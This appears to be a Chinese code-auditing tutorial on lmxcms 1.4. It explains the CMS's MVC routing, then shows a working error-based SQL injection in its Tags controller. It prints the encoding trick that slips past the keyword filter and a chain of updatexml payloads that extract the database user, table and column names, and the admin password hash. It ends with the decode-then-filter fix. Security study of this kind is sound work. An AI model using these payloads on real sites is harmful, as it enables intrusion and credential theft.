MVC-PHP代码审计- #
先判断是不是MVC
找到具体的文件进行判断
搞清楚路由
搞清楚配置文件
搞清楚是否是开发框架如 TP YII 如是则用已知漏洞来打
MVC模型 #
分为控制层 服务层 视图层
也有前后端交互的MVC只提供接口是目前的主流,然后前端如VUE来动态渲染
判断MVC模型 #
http://localhost:905/index.php?m=list&a=index&classid=1
比如这种m=xxa=xxclassid=xx
但是index.php根本没有这种GET
<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
* 前台入口文件
*/
define('LMXCMS',TRUE);
define('RUN_TYPE','index');
require dirname(__FILE__).'/inc/config.inc.php';
require dirname(__FILE__).'/inc/run.inc.php';
?>
正确是在index文件夹>listAction.class.php->index方法->classid传参
所以是Index.php开头指定在index文件夹
所以list=文件名字 index=方法 classid=参数
ListAction.class.php内容如下
<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
* 前台栏目页面控制器
*/
defined('LMXCMS') or exit();
class ListAction extends HomeAction{
private $classid;
public function __construct(){
parent::__construct();
$this->classid = (int)$_POST['classid'] ? (int)$_POST['classid'] : (int)$_GET['classid'];
if(!$this->classid || !isset($GLOBALS['allclass'][$this->classid])){
_404();
}
if($GLOBALS['allclass'][$this->classid]['classtype'] == 2){
//外部链接直接跳转
rewrite::php_url($GLOBALS['allclass'][$this->classid]['classurl']);
}
}
public function index(){
$temModel = new parse($this->smarty);
if($GLOBALS['allclass'][$this->classid]['classtype'] == 0){
$model = new ContentModel($this->classid);
}else if($GLOBALS['allclass'][$this->classid]['classtype'] == 1){
$model = new ColumnModel();
}
echo $temModel->lists($this->classid,$model);
}
}
?>
案例lmxcms1.4-前台Sql注入 #
根据CNVD提供TagsAction.class.php文件存在sql注入
我们怎么访问这文件呢通过mvc
index.php?m=tags&a=xx&xx 这样访问
<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
* Tags控制器
*/
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>
2------------------------
getnameData函数如下 就是 select * from xx where xx='xx' 这样的他只传递后面where = xx
public function getNameData($name){
$param['where'] = "name = '$name'";
return parent::oneModel($param);
}
3--------------------------
并且还有sql过滤通过p方法进去里面发现这种sql过滤函数
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}
发现上面三点 我们知道怎么访问然后知道怎么绕过过滤 -使用URL编码因为他这里解码了
__construct()是类的构造方法,它有一个特殊性质:当类被实例化时会自动调用,不需要像普通方法那样通过a=__construct显式调用。注意不用设置方法了直接传入参数
关于参数名:代码中$data = p(2,1,1);是从请求中获取所有参数(可能包含多个键值对)但业务只需要其中的name字段(标签名称),所以单独提取$data['name']进行处理。
传入参数
index.php?m=tags&name=1%27%20and%20updatexml(0,(concat(0x7e,user()),0x7e)#
提示 发现给我拦截了
<script type='text/javascript'>alert('【1' and updatexml(0,(concat(0x7e,user()),0x7e)】数据非法');history.go(-1);</script>
因为他有URL解码所以我们先编码一次因为浏览器会解码然后再编码一次
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
sql语句有误XPATH syntax error: '~root@localhost~' 成功注入
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
爆破数据库名字 lmx
%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lmx' limit 25,1),0x7e),1)# 查询到表lmx_user
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='lmx' and table_name='lmx_user'),0x7e),1)# 查询字段 '~id,name,pwd,currtime,currip,las'
1' and updatexml(1,concat(0x7e,(select concat(id,0x3a,name,0x3a,pwd) from lmx_user),0x7e),1)#
sql语句有误XPATH syntax error: '~1:admin:538334fcfd6624845471a29' 发现密码拿不全啊
1' and updatexml(1,concat(0x7e,(select length(concat(pwd,0x3e)) from lmx_user),0x7e),1)# 判断下大小是33个
就从20拿到33个吧然后和前面拼接起来
sql语句有误XPATH syntax error: '~1a291cb4f6274:~'
1' and updatexml(1,concat(0x7e,(select substr(concat(pwd,0x3a),20,33) from lmx_user),0x7e),1)#
1a291cb4f6274
密码是538334fcfd6624845471a291cb4f6274
所以这里原因是两层屏蔽了SQL注入的过滤 绕过了过滤然后解密了然后进入sql流程 这并不是绕过注入方法这是他的逻辑问题,当你注释掉发现不行了,所以代码审计修复是先解码再过滤
getNameData($name)(TagsModel 类的方法)根据标签名称查询对应的数据
parent::__construct():调用父类 HomeAction 的构造方法,继承基础控制器功能
string::delHtml():静态方法,过滤字符串中的 HTML 标签(防 XSS 攻击)
urldecode():对 URL 编码的字符串进行解码(恢复原始标签名称)
parent::oneModel($param):父类的模型方法,执行数据库查询并返回单条结果
_404():页面不存在时调用,返回 404 错误
rewrite::js_back():静态方法,输出 JavaScript 提示并跳转(通常用于错误提示)